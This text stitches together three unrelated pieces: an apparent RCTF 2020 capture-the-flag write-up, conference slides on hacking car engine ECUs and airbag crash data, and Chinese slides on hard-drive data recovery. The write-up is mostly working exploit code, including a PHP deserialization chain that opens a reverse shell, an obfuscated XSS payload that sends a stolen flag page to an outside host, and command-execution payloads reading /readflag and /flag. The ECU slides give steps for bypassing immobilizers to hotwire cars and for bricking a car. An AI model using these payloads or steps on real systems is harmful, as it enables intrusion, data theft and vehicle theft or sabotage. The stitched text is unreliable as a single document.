"'pad';" open("./code.txt", 'wb').write(code) // Bug site: <https://github.com/swoole/library/blob/master/src/core/Curl/Handler.php#L774> include('Handler.php'); // <https://github.com/swoole/library/blob/master/src/core/Curl/Handler.php#L309- L319> // delete(L309-L319) and change class name to Handlep function process_serialized($serialized) { $new = ''; $last = 0; $current = 0; $pattern = '#\bs:([0-9]+):"#'; while( $current < strlen($serialized) && preg_match( $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current ) ) { $p_start = $matches[0][1]; $p_start_string = $p_start + strlen($matches[0][0]); $length = $matches[1][0]; $p_end_string = $p_start_string + $length; # Check if this really is a serialized string if(!( strlen($serialized) > $p_end_string + 2 && substr($serialized, $p_end_string, 2) == '";' )) { $current = $p_start_string; continue; } $string = substr($serialized, $p_start_string, $length); # Convert every special character to its S representation $clean_string = ''; for($i=0; $i < strlen($string); $i++) { $letter = $string{$i}; $clean_string .= ctype_print($letter) && $letter != '\\' ? $letter : sprintf("\\%02x", ord($letter)); ; } # Make the replacement $new .= substr($serialized, $last, $p_start - $last) . 'S:' . $matches[1][0] . ':"' . $clean_string . '";' rBlog 2020 ; $last = $p_end_string + 2; $current = $last; } $new .= substr($serialized, $last); return $new; } $o = new Swoole\Curl\Handlep("<http://google.com/>"); //GWF $o->setOpt(CURLOPT_READFUNCTION,"array_walk"); $o->setOpt(CURLOPT_FILE, "array_walk"); $o->exec = array('/bin/bash -c "bash -i >& /dev/tcp/xxxxxxx/9999 0>&1"'); $o->setOpt(CURLOPT_POST,1); $o->setOpt(CURLOPT_POSTFIELDS,"aaa"); $o->setOpt(CURLOPT_HTTPHEADER,["Content-type"=>"application/json"]); $o->setOpt(CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1); $a = serialize([$o,'exec']); echo str_replace("Handlep","Handler",urlencode(process_serialized($a))); 205f4402-efeb-4200-97a8-808a3159157f ?aaa=2:2; eval(String.fromCharCode(118,97,114,32,120,104,114,32,61,32,110,101,119,32,88,7 7,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,10,32,32,32,32,120,104, 114,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,115,58,47,47,114 ,98,108,111,103,46,114,99,116,102,50,48,50,48,46,114,111,105,115,46,105,111,47, 112,111,115,116,115,47,102,108,97,103,34,44,102,97,108,115,101,41,59,10,32,32,3 2,32,120,104,114,46,115,101,110,100,40,41,59,10,32,32,32,32,118,97,114,32,114,1 01,115,112,32,61,32,120,104,114,46,114,101,115,112,111,110,115,101,84,101,120,1 16,59,10,32,32,32,32,108,111,99,97,116,105,111,110,46,104,114,101,102,32,61,32, 34,104,116,116,112,58,47,47,120,115,115,46,101,98,99,101,99,101,48,56,46,110,48 ,112,46,99,111,47,63,100,97,116,97,61,34,43,101,115,99,97,112,101,40,114,101,11 5,112,41,59)); `&highlight=.|$%26iframe+onload=eval(1%2bu.search)+&a=`;#aa //String.fromCharCode(...) /* var xhr = new XMLHttpRequest(); xhr.open("GET","https://rblog.rctf2020.rois.io/posts/flag",false); xhr.send(); var resp = xhr.responseText; location.href = "http://ip:port/?data="+escape(resp); */ EasyBlog http://124.156.134.92:8081/?page=show&id=0e65a36c-8369-4ae9-bb32-60119d4e2d06%26cb=ale rt(1)// 1. comment <input id="a" value="alert(1)"> 2. visit POST /posts/feedback HTTP/1.1 Host: rblog.rctf2020.rois.io User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 1422 X-REAL-IP: 10.11.11.11 Cookie: csrftoken=U9H3LbqKHgkW7lETaQhcpb3QBTgvQEreVfvKK6bTMdArAPwvsi9qReure5AZVKGp Connection: close postid=205f4402-efeb-4200-97a8- 808a3159157f%3Faaa%3D2%3A2%3Beval%28String.fromCharCode%28118%2C97%2C114%2C32%2 C120%2C104%2C114%2C32%2C61%2C32%2C110%2C101%2C119%2C32%2C88%2C77%2C76%2C72%2C11 6%2C116%2C112%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C40%2C41%2C59%2C10%2C32 %2C32%2C32%2C32%2C120%2C104%2C114%2C46%2C111%2C112%2C101%2C110%2C40%2C34%2C71%2 C69%2C84%2C34%2C44%2C34%2C104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C114%2C98 %2C108%2C111%2C103%2C46%2C114%2C99%2C116%2C102%2C50%2C48%2C50%2C48%2C46%2C114%2 C111%2C105%2C115%2C46%2C105%2C111%2C47%2C112%2C111%2C115%2C116%2C115%2C47%2C102 %2C108%2C97%2C103%2C34%2C44%2C102%2C97%2C108%2C115%2C101%2C41%2C59%2C10%2C32%2C 32%2C32%2C32%2C120%2C104%2C114%2C46%2C115%2C101%2C110%2C100%2C40%2C41%2C59%2C10 %2C32%2C32%2C32%2C32%2C118%2C97%2C114%2C32%2C114%2C101%2C115%2C112%2C32%2C61%2C 32%2C120%2C104%2C114%2C46%2C114%2C101%2C115%2C112%2C111%2C110%2C115%2C101%2C84% 2C101%2C120%2C116%2C59%2C10%2C32%2C32%2C32%2C32%2C108%2C111%2C99%2C97%2C116%2C1 05%2C111%2C110%2C46%2C104%2C114%2C101%2C102%2C32%2C61%2C32%2C34%2C104%2C116%2C1 16%2C112%2C58%2C47%2C47%2C120%2C115%2C115%2C46%2C101%2C98%2C99%2C101%2C99%2C101 %2C48%2C56%2C46%2C110%2C48%2C112%2C46%2C99%2C111%2C47%2C63%2C100%2C97%2C116%2C9 7%2C61%2C34%2C43%2C101%2C115%2C99%2C97%2C112%2C101%2C40%2C114%2C101%2C115%2C112 %2C41%2C59%29%29%3B%60%26highlight%3D.%7C%24%2526iframe%2bonload%3Deval%281%252 bu.search%29%2b%26a%3D%60%3B%23aa%27&highlight=' http://124.156.134.92:8081/?page=show&id=e9e23517-64a0-49c8-bbe6-1065408d38c5%26cb=ev al(a.value)//&id=e9e23517-64a0-49c8-bbe6-1065408d38c5 3. steal admin's cookie Calc $table = [ "0" => "(0).(1){1}", "1" => "(1).(1){1}", "2" => "(2).(1){1}", "3" => "(3).(1){1}", "4" => "(4).(1){1}", "5" => "(5).(1){1}", "6" => "(6).(1){1}", "7" => "(7).(1){1}", "8" => "(8).(1){1}", "9" => "(9).(1){1}", "I" => "((1/0).(1)){0}", "N" => "((1/0).(1)){1}", "F" => "((1/0).(1)){2}", "y" => "((0).(1){1})|(((1/0).(1)){0})", "~" => "((0).(1){1})|(((1/0).(1)){1})", "v" => "((0).(1){1})|(((1/0).(1)){2})", "w" => "((1).(1){1})|(((1/0).(1)){2})", ":" => "((2).(1){1})|((8).(1){1})", ";" => "((2).(1){1})|((9).(1){1})", "{" => "((2).(1){1})|(((1/0).(1)){0})", "<" => "((4).(1){1})|((8).(1){1})", "=" => "((4).(1){1})|((9).(1){1})", "}" => "((4).(1){1})|(((1/0).(1)){0})", ">" => "((6).(1){1})|((8).(1){1})", "?" => "((6).(1){1})|((9).(1){1})", "H" => "(((1/0).(1)){0})&(((1/0).(1)){1})", "@" => "(((1/0).(1)){0})&(((1/0).(1)){2})", "O" => "(((1/0).(1)){0})|(((1/0).(1)){1})", "x" => "((0).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){1}))", "p" => "((0).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){2}))", "q" => "((1).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){2}))", "z" => "((2).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){1}))", "r" => "((2).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){2}))", "s" => "((3).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){2}))", "|" => "((4).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){1}))", "t" => "((4).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){2}))", "u" => "((5).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){2}))", "A" => "(((1/0).(1)){0})&(((1).(1){1})|(((1/0).(1)){2}))", "J" => "(((1/0).(1)){1})&(((2).(1){1})|(((1/0).(1)){0}))", system('/readflag') "L" => "(((1/0).(1)){1})&(((4).(1){1})|(((1/0).(1)){0}))", "B" => "(((1/0).(1)){2})&(((2).(1){1})|(((1/0).(1)){0}))", "D" => "(((1/0).(1)){2})&(((4).(1){1})|(((1/0).(1)){0}))", "G" => "(((1).(1){1})|(((1/0).(1)){2}))&((((1/0).(1)){0})|(((1/0).(1)) {1}))", "K" => "(((2).(1){1})|(((1/0).(1)){0}))&((((1/0).(1)){0})|(((1/0).(1)) {1}))", "M" => "(((4).(1){1})|(((1/0).(1)){0}))&((((1/0).(1)){0})|(((1/0).(1)) {1}))", "C" => "(((1).(1){1})|(((1/0).(1)){2}))&((((2).(1){1})|(((1/0).(1)){0}))& ((((1/0).(1)){0})|(((1/0).(1)){1})))", "E" => "(((1).(1){1})|(((1/0).(1)){2}))&((((4).(1){1})|(((1/0).(1)){0}))& ((((1/0).(1)){0})|(((1/0).(1)){1})))" ]; $res = []; foreach ($table as $x) { foreach ($table as $y) { eval("\$a = (" . $x . ")|(" . $y .");"); if (!isset($res[$a]) && !isset($table[$a])) { $res[$a] = "(" . $x . ")|(" . $y . ")"; } eval("\$a = (" . $x . ")&(" . $y .");"); if (!isset($res[$a]) && !isset($table[$a])) { $res[$a] = "(" . $x . ")&(" . $y . ")"; } } } var_dump($res); Solve the easy challenge first (((((-349836)-(802460))-(460622))+(-916081))-(304266)) input your answer: calculate error! input your answer: calculate error! ((((3).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){2}))).(((0).(1){1})|(((1/0).(1)) {0})).(((3).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){2}))).(((4).(1){1})| ((((1/0).(1)){0})&(((1/0).(1)){2}))).((((1).(1){1})|(((1/0).(1)){2}))&((((4). (1){1})|(((1/0).(1)){0}))&((((1/0).(1)){0})|(((1/0).(1)){1})))).((((4).(1){1})| (((1/0).(1)){0}))&((((1/0).(1)){0})|(((1/0).(1)){1}))))((((((1).(1){1})| (((1/0).(1)){2}))&((((2).(1){1})|(((1/0).(1)){0}))&((((1/0).(1)){0})|(((1/0). (1)){1})))).((((1/0).(1)){0})&(((1/0).(1)){1})).(((2).(1){1})|((((1/0).(1)) {0})&(((1/0).(1)){2}))))(47).(((((1).(1){1})|(((1/0).(1)){2}))&((((2).(1){1})| (((1/0).(1)){0}))&((((1/0).(1)){0})|(((1/0).(1)){1})))).((((1/0).(1)){0})& (((1/0).(1)){1})).(((2).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){2}))))(114). (((((1).(1){1})|(((1/0).(1)){2}))&((((2).(1){1})|(((1/0).(1)){0}))&((((1/0). (1)){0})|(((1/0).(1)){1})))).((((1/0).(1)){0})&(((1/0).(1)){1})).(((2).(1){1})| ((((1/0).(1)){0})&(((1/0).(1)){2}))))(101).(((((1).(1){1})|(((1/0).(1)){2}))& ((((2).(1){1})|(((1/0).(1)){0}))&((((1/0).(1)){0})|(((1/0).(1)){1})))). ((((1/0).(1)){0})&(((1/0).(1)){1})).(((2).(1){1})|((((1/0).(1)){0})&(((1/0). (1)){2}))))(97).(((((1).(1){1})|(((1/0).(1)){2}))&((((2).(1){1})|(((1/0).(1)) {0}))&((((1/0).(1)){0})|(((1/0).(1)){1})))).((((1/0).(1)){0})&(((1/0).(1)) {1})).(((2).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){2}))))(100).(((((1).(1){1})| (((1/0).(1)){2}))&((((2).(1){1})|(((1/0).(1)){0}))&((((1/0).(1)){0})|(((1/0). (1)){1})))).((((1/0).(1)){0})&(((1/0).(1)){1})).(((2).(1){1})|((((1/0).(1)) {0})&(((1/0).(1)){2}))))(102).(((((1).(1){1})|(((1/0).(1)){2}))&((((2).(1){1})| (((1/0).(1)){0}))&((((1/0).(1)){0})|(((1/0).(1)){1})))).((((1/0).(1)){0})& (((1/0).(1)){1})).(((2).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){2}))))(108). (((((1).(1){1})|(((1/0).(1)){2}))&((((2).(1){1})|(((1/0).(1)){0}))&((((1/0). (1)){0})|(((1/0).(1)){1})))).((((1/0).(1)){0})&(((1/0).(1)){1})).(((2).(1){1})| ((((1/0).(1)){0})&(((1/0).(1)){2}))))(97).(((((1).(1){1})|(((1/0).(1)){2}))& ((((2).(1){1})|(((1/0).(1)){0}))&((((1/0).(1)){0})|(((1/0).(1)){1})))). ((((1/0).(1)){0})&(((1/0).(1)){1})).(((2).(1){1})|((((1/0).(1)){0})&(((1/0). (1)){2}))))(103)) import requests import string url = "http://124.156.140.90:8081/calc.php?num=" func = {"system":"((((3).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){2}))).(((0).(1) {1})|(((1/0).(1)){0})).(((3).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){2}))). (((4).(1){1})|((((1/0).(1)){0})&(((1/0).(1)){2}))).((((1).(1){1})|(((1/0).(1)) {2}))&((((4).(1){1})|(((1/0).(1)){0}))&((((1/0).(1)){0})|(((1/0).(1)){1})))). ((((4).(1){1})|(((1/0).(1)){0}))&((((1/0).(1)){0})|(((1/0).(1)){1}))))","chr":" (((((1).(1){1})|(((1/0).(1)){2}))&((((2).(1){1})|(((1/0).(1)){0}))&((((1/0). (1)){0})|(((1/0).(1)){1})))).((((1/0).(1)){0})&(((1/0).(1)){1})).(((2).(1){1})| ((((1/0).(1)){0})&(((1/0).(1)){2}))))"} MISC Welcome to the RCTF 2020 tg mysql_interface write = "echo -n '{}' >> /tmp/qqq" pl = """#!/usr/bin/env perl use warnings; use strict; use IPC::Open2; $| = 1; my $pid = open2(\*out2, \*in2, "/readflag") or die; my $reply = <out2>; print STDOUT $reply; $reply = <out2>; print STDOUT $reply; my $answer = eval($reply); print STDOUT "answer: $answer\\n"; print in2 " $answer "; in2->flush(); $reply = <out2>; print STDOUT $reply; $reply = <out2>; print STDOUT $reply;""" for i in pl: payload = write.format(i) payload = list(payload) exp = [] for j in payload: exp.append(func['chr'] + "(" + str(ord(j)) + ")") exp = '.'.join(exp) exp = func['system'] + "(" + exp + ")" print(exp) res = requests.get(url + exp.replace('&', '%26')) print(res.content) # perl /tmp/qqq select flag from .flag issue Switch PRO Controller Switch ProUSBflaghttps://github.com/ToadKing/switch -pro-x/blob/master/switch-pro-x/ProControllerDevice.cpp A flag bean FeedBack import cv2 DELTA = 6 with open('data.csv', 'r') as f: content = f.readlines()[1:] pressed = False press_time = [] for line in content: _, time, _, _, _, _, data, _ = line.split(',') time = float(time[1:-1]) data = data[1:-1] if data.startswith('30'): if not pressed and int(data[6:8], 16) & 0x08: pressed = True print(time, 'pressed') press_time.append(int((time+DELTA)*1000)) elif pressed and not int(data[6:8], 16) & 0x08: pressed = False print(time, 'released') cap = cv2.VideoCapture('screenrecord.mp4') for idx, frame_time in enumerate(press_time): cap.set(cv2.CAP_PROP_POS_MSEC, frame_time) ret, frame = cap.read() cv2.imwrite("image_{}.jpg".format(idx), frame) plugin "beancount.plugins.check_average_cost" "__import__('os').system('cat /flag')" Crypto easy_f(x) #!/usr/bin/env sage import hashlib, socket, telnetlib, IPython, string, itertools #HOST, PORT = 'localhost', 2333 HOST, PORT = '124.156.140.90', 2333 s = socket.socket() s.connect((HOST, PORT)) f = s.makefile('rw', 0) def recv_until(f, delim='\n'): buf = '' while not buf.endswith(delim): buf += f.read(1) return buf def proof_of_work(suffix, chal): for comb in itertools.product(string.digits + string.ascii_letters, repeat=4): m = ''.join(comb) if hashlib.sha256(m + suffix).hexdigest() == chal: return m raise Exception("Not found...") print 'PoWing...' recv_until(f, 'XXXX+') suffix = recv_until(f, ')')[:-1] recv_until(f, ' == ') chal = recv_until(f, '\n').strip() work = proof_of_work(suffix, chal) recv_until(f, 'XXXX:') f.write(work + '\n') print 'Sending number...' recv_until(f, 'M=') m = ZZ(recv_until(f, '\n').strip()) Zn = Zmod(m) P.<x> = PolynomialRing(Zn) recv_until(f, 'want?') f.write('769\n') BlockChain roiscoin print 'Reading points...' points = [] for i in xrange(769): recv_until(f, 'f(') x = recv_until(f, ')')[:-1] recv_until(f, '=') y = recv_until(f, '\n')[:-1] points.append((ZZ(x), ZZ(y))) print 'Interpolation...' poly = P.lagrange_polynomial(points) f.write(str(poly[0]) + '\n') print 'Interactive...' t = telnetlib.Telnet() t.sock = s t.interact() pragma solidity ^0.4.23; contract FakeOwnerGame { event SendFlag(address _addr); uint randomNumber = 0; uint time = now; mapping (address => uint) public BalanceOf; mapping (address => uint) public WinCount; mapping (address => uint) public FailCount; bytes32[] public codex; address private owner; uint256 settlementBlockNumber; address guesser; uint8 guess; struct FailedLog { uint failtag; uint failtime; uint success_count; address origin; uint fail_count; bytes12 hash; address msgsender; } mapping(address => FailedLog[]) FailedLogs; constructor() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function payforflag() onlyOwner { require(BalanceOf[msg.sender] >= 2000); emit SendFlag(msg.sender); selfdestruct(msg.sender); } function lockInGuess(uint8 n) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = n; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2; if (guess == answer) { WinCount[msg.sender] += 1; BalanceOf[msg.sender] += 1000; } else { FailCount[msg.sender] += 1; } if (WinCount[msg.sender] == 2) { if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) { guesser = 0; WinCount[msg.sender] = 0; FailCount[msg.sender] = 0; msg.sender.transfer(address(this).balance); } else { FailedLog failedlog; lockInGuesssettlebalance failedlog.failtag = 1; failedlog.failtime = now; failedlog.success_count = WinCount[msg.sender]; failedlog.origin = tx.origin; failedlog.fail_count = FailCount[msg.sender]; failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender])); failedlog.msgsender = msg.sender; FailedLogs[msg.sender].push(failedlog); } } } function beOwner() payable { require(address(this).balance > 0); if(msg.value >= address(this).balance){ owner = msg.sender; } } function revise(uint idx, bytes32 tmp) { codex[idx] = tmp; } }
pdf
Alberto Garcia Illera (@algillera) Javier Vazquez Vidal (@bi0h4z4rd_) Javier Vázquez Vidal • Hardware security specialist • Loves breaking “toys” security • Freelance • From Cádiz Alberto García Illera Index • Hacking of the ECU • Do a forensic job after a car crash Why did this happen? • A friend kept bugging me to constantly change the tuning file on his car every week • I felt like What did we do? • Use Google It didn´t work, so we needed a plan Vehicle Electronic Control Units Vehicle Electronic Control Units • Each ECU has an unique ID (address) in the network. • They have authentication/encryption protection against non authorised (dealer) access. • Data is usually stored in them for diagnose/foresinc purposes, aswell as for car behaviour (configuration). Vehicle communication protocols Why was K-Line the chosen one? • Can be implemented with a single level shifter IC • Present in most cars (<2010) • Older ECU´s (K-Line+CAN) are cheaper than newer ones (CAN only) • It´s suitable for lazy developers (Yay!) Is it easy to implement CANbus support? • We have already done it, but the beta tool is not yet ready for showcase. • CANbus and K-Line are just protocols, but the encryption, auth and all other security features are the same on both, and not specific to CANbus. • It makes the tool $10 more expensive First steps • What did we know about ECU´s: • They are expensive • They live inside cars (no wild ECU´s have been spotted so far) • Options we had: • Navigate through tecnical docs until we could understand how it works • Hook up the LA and try to figure out • Both of the previous answers are correct So, this is what we found about engine ECU´s • Responsible for engine management • Stores all engine faults • Holds immobilizer routines • Contains firmware that affects the behaviour of the car So, this is what we found about engine ECU´s • Target Hardware is composed of: • Internal/External Flash • Internal/External EEPROM • A really annoying black rubber-like epoxy What did the LA show? What did we do about it? • Tried replay attack with the following result: What we realised (after a while) • They have the following “features”: • EDC15/ME7xx: • Seed/Key Algorithm for auth (Unique) • Checksum! • They require a loader for operations • EDC16/MED9xx: • Seed/Key Algorithm for Auth (3 Levels) • RSA Encryption • Checksum! How did we do it? Why is it interesting? • Would you like to spend less money on gas? • Did you know that the difference between the 100PS and the 130PS version of your car is just some changes in the ECU firmware? • Would you like to be able to repair a faulty ECU in your car using inexpensive hardware? • It´s cool to hack your car with cheap hardware! What does the ECU tool code look like? • Due to the limitations of the selected MCU (Atmega 328p), code had to be carefully structured not to run out of RAM (2kb). • EDC15 and EDC16 firmwares are composed of ~1800 lines of code each. • We are already working on an universal firmware that will be able to handle all type of ECU´s on a single 328p and add support for future ones without requiring a firmware update. Bosch EDC15 EEPRO M MCU FLASH EDC15 Auth BOSCH EDC16 MCU+EEPROM+INT.FLASH EXT. FLASH JTAG(BDM) EDC16 LVL1 Auth EDC16 LVL3 Auth RSA encryption • EDC16 requires uploaded files to be encrypted with RSA RSA encryption in the tool • Encryption is coded in “ASM” instructions (Yes, i am that lazy!) • It takes approx. 10 seconds to encode 512kB • It is done before starting the ECU init, and checksum for the file is calculated at the same time EDC16 Encryption algorithm Other Existing tools • They all require connection to a PC • Examples of popular tools: • MAGPRO2 BASE kit: $2300 • CMD Flash Master OBD: $5500 • MPPS Master OBD tool: $1500 So now that we know all this…. ECU tool hardware • 1x Arduino mini pro (MCU) - $3.17 • 1x SI9241/MC33290 (ISO-9141 level converter) - $3. • 1x LM7805 (Voltage regulator) - $0.99 • 1x i2C 20x4 LCD - $9.53 • 4x Push button+resistors - $1.5 • 1x RJ-45 Female connector - $0.99 • 1x OBD2 Connector - $0.99 • 1mt Cat-5/6E Ethernet cable - $1 • 1x RJ-45 male connector -$0.1 • 1x SD card Breakout board+2GB SD card (FAT16 or 32) - $3 • 1x Plastic case - $2 Total: $26,27 Ecu tool features • It is not locked to a single vehicle • It stores non encrypted files • It does not use master/slave role • It can be used as sniffer (with special fw) • It is easy to add support for additional functions (diagnostics, programming…) or aditional ECU units (airbag, ABS, locks…) Lower Interface side (Beta) Upper Interface side (Beta) Interface board (Eagle) Wireless interface (BT) Examples of use • Mod ECU fw to have more hp/ less gas expenses: • Connect tool via OBD2 connector • Download original file from ECU • Modify file on PC with desired sw or get it done by a tuner • Place the file in the correct folder • Upload tuned file to ECU via OBD2 connector • *You can always revert from mod to original in less than 1 minute, and go back to mod file as many times as you want Examples of use • Bypass immo (EDC15): It is based on a patch on the EEPROM. • Plug the tool via OBD2 connector • Select the “Disable IMMO” option • You can now hotwire the target car or use the ECU on other cars :D • *You can always enable/disable immo easily with the menu Examples of use • Disable a car: • Connect the tool via OBD2 connector • Select “Write file to flash” • Pull cable from OBD2 connector before operation is finished (will cause wrong checksum) • Cool, now the target car is an expensive piece of metal! • *You can later recover the ECU with the automatic recovery mode for both EDC15 and EDC16 via OBD2 Example (creepy) of use • If we have phisical access to a car we would be able to place a mini device in the ODB port with 3G and control remotelly the car • This is a very dangerous use but could be done • A bad guy could bring out an accident doing that the driver lost the control of his own car Demo on EDC16 • Read info • Read flash • Disable the ECU • Try to read the info again (will fail) • Recover the ECU • Read info on recovered ECU Demo worked!!! • Touch my heart, I’m still excited!! What was the reason? Forensics Related information • Most of the cars from 1994 have a Crash Date Retrieval (CDR) function that stores the info of a crash • It’s similar than a Black Box used in the airplanes • Stores information before and after the crash • This info is related with speed, RPM, brake use, ABS activity, accelerator pedal position (%)… Where is the data? • Almost all the cars store the crash data in the airbag ECU • Usually this info is stored in a EEPROM (non volatile) memory • There is costly hardware and software that must be used to retrieve and interpretate this information The official hardware • There is a official and expensive hardware/software from BOSCH to extract and parse the infomation • There are three ways to connect the hardware with the Airbag ECU to retrieve the information: • Connecting to the ODB port (Authentication required) • Connecting with the airbag module (Authentication required) • Read directly the EEPROM memory (No authentication required) How to extract the data of a ECU? • The software/hardware to use in the BOSCH ECU is called CDR • The “CDR Premium Tool Hardware Kit” costs $8999 What about poor guys? • The software can be downloaded totally free • So the code about parsing the data it’s just in front of us… Supported Vehicles Once upon a time • A client contacted us to do a forensic job into a car that was not supported by the CDR tool (Mercedes) • Our face was: What we do • We did it in the cool way: reading directlly from the EEPROM memory What’s next? • We retreived all the information stored in the EEPROM memory but we didn’t have a way (with his wife) to parse it because the CDR program does not support Mercedes • So, we use a tool to reset the crash file data and doing after that a bindiff • Doing this we knew what parts of the binary had changed and so we knew these parts of the full binary contains info of the crash … • The next step to do with the already filtered data was looking for the speed of the car at the moment of the crash • To do this we used WinOLS to view the graphs and be able to distinguish between the crescent and descrescent graphs • The sorting was made because the speed in a car crash is always descrecent We had a match!! • After doing this we found a interval with values that could match with the speed in a car crash Thank you • All of you for being here today • To our family and friends. They are always there were we need them • All those who want to understand how and why things work • Alberto Garcia Illera (@algillera) [email protected] • Javier Vazquez Vidal (@fjvva) [email protected]
pdf
Text 腳本小子的告白 -硬碟的秘密大公開 Confessionsofscriptkiddie-HardDriveSecretLetOut Who Am I? thx OSSLab 成⽴立者 練過神功 所以只會硬不太 會軟 我是怎樣開始踏上研究 DIY 萬歲! 這就是資料恢復真實成本 要找到⼀一樣相容硬碟 ⼜又不保證成功率 碟⽚片上有隱性刮傷 能Extract 的資料是否客⼾戶要的 設備成本 (低塵操作環境,資料恢復設備)
 簡單說 有時這跟賭博⾏行業差不多 終極好⼈人技已講完收⼯工 議程三分鐘 已經講完了 ⼤大 家現在可散場好了 來這做⾏行 業賺錢. 向⽔水電⼯工學習的講師表⽰示我當然可 以超過三分鐘 這可是50分鐘議程 範例 學妹說她的硬碟IC 燒掉了
 ⾝身為⼀一個⽔水電⼯工,當然隨⾝身攜帶電表,為了學 妹的資料,我掏出我的..........................電表. ⽔水電⼯工 國中⼯工藝課實習教學 拿⼀一顆正常的硬碟 通電 ,拿出電表量就會發現 這邊要 先確定GND(負極)腳位 ,再把⿊黑針放到各接點就會發現. 分析後的硬碟電源供應圖 這樣燒掉的PCB 可修好讓它 動嘛? 你看這結構, 如果5V 超壓 會怎樣? 
 很有機會燒掉很多元件, 請準備砍掉重練 SPI Flash 晶⽚片 學妹早就不在了 
 所以變成⽇日⽴立電路板 
 請⾒見諒
 簡單說 就是壞掉那
 就找那好的替換
 原資料碟電路板上的
 儲存性元件就要保留 我不想只做⽔水電⼯工可以嘛? 於是我買傳說中的硬碟維修設備 PC3000 http://www.acelaboratory.com/ 這是⼀一張很貴的PCI 卡 昂貴的資料恢復設備原理 FPGA IC .內建ATA IP Core.並且可⽤用於加密保護軟體不 被複制 電源控制模塊. USB serial port.⽤用於硬碟TTL終端通訊控制. 能執⾏行⼯工作 對各廠牌硬碟固件區進⾏行讀寫操作. 對不良磁碟 鏡像ATA Reset, Power reset提⾼高讀取成功 率. 買了設備給的外星技術⽂文件 我是地球⼈人(也沒有烏克蘭⼥女 友或⽼老婆做我的翻譯年糕) 兔兔⽼老婆表⽰示震怒!!!!!!!!!! 兔⽼老婆說既然娶了中國⽼老婆就要看中⽂文的 作者有在百度百科 這本是聖 經嗎? 戴⼠士劍,2003年出版第⼀一部數據
 恢復技術書,促進了數據恢復產業發展,
 帶動數據恢復產業
 ⾛走向科學、正規、有序的發展道路 我⾃自⼰己弄到英⽂文的技術⼿手 冊.... 對岸的國X信息中⼼心表⽰示 ,感謝台灣同胞無私的分享 司法數位鑑識⼈人員 使⽤用⼼心得(⼀一) 我們原本以為硬碟本⾝身不需要維修,對於故障硬碟內的數據直接拷⾙貝。硬盤 出問題了要想得到裡⾯面的data ,要先修好韌體的,才有可能進⾏行資料拷⾙貝, 所以這⽅方⾯面的學習還得加強好⽍歹我有基礎啊。看說明書,對硬盤的原理作了 ⼤大堆介紹,然後對PC3000UDMA操作菜單進⾏行了功能的說明,但隨著越來越 深⼊入的了解,⽽而是你操作極其太復雜,簡直⼀一不留神數據徹底變沒。
 經過半⽉月的學習,進⾏行資料恢復過程中發現,PC3000UDMA對硬盤的多種功 能處理⽅方式都不⼀一樣,⼀一個功能之針對⼀一個問題,⽽而主要是⼀一個功能必須結 合幾個功能搭配使⽤用,才可能有效。注意哦,是有可能有效果,那就是說也 有可能無效。這不是簡單的加減法,如果關鍵地⽅方搞錯了,你功能鍵的前後 順序搞反了,那恭喜你了,你的硬盤不僅不能修復,還將徹底廢掉硬盤。⽽而 這種情況機率還相當的⾼高,我現在也搞懂了為什麼原來拿數據出去恢復時, 數據恢復公司的⼯工程師就是不願意讓你在旁邊看,美其名⽈曰“技術保密”,實 際上是在操作失誤後⽅方便徹底毀滅數據,讓你在其他地⽅方都死無對證 司法數位鑑識⼈人員 使⽤用⼼心得(⼆二) “除了複雜就是複雜”,這是我使⽤用PC3000UDMA後的感覺。
 PC3000UDMA主卡反正是我已經⽤用了半年了,搞明⽩白的只占三分之 ⼀一,這東⻄西除了操作復雜還需要⼤大量的經驗,有很多說明書上說的 ⼀一回事,操作起來⼜又⼀一回事,在我⼿手裡光榮犧牲的硬盤不下⼀一百塊 了。但⽤用起來還是吃⼒力無⽐比,這個⾄至少搭上了我⼀一⼤大半的⼯工作時間 啊,有時候周末的時間都搭在上⾯面。嚴重的投⼊入和產出不成對⽐比,
 各位,不要以為我⽐比你們傻,聽說公安系統的買了80套⽼老版本的 PC3000PCI的主卡回去,⼀一年下來,只有2套還在偶爾⽤用⽤用,其他的 直接都扔⾓角落了,那些⼈人不⽐比我傻吧。 為何⼤大家都狀況外? PC 3000⼈人機介⾯面真的很爛.. 不夠瞭解硬碟的本質⼯工作原理 硬碟有多重故障原因可能性(硬體,韌體) 教學⼈人員只是個代理 這⾏行不喜歡有體系的教學 想寫有體系的教學的⼈人⼜又沒 技術.. 多麼痛的領悟 K書跟實務操作幾年 終於略懂這些技術⽂文件在說啥 Call me Master !!!!! (快叫我 ⼤大⼤大) 對這種概念不清的⼜又不知整個硬碟韌 體架構的⼈人.操作這些設備很容易把 硬碟弄掛了..
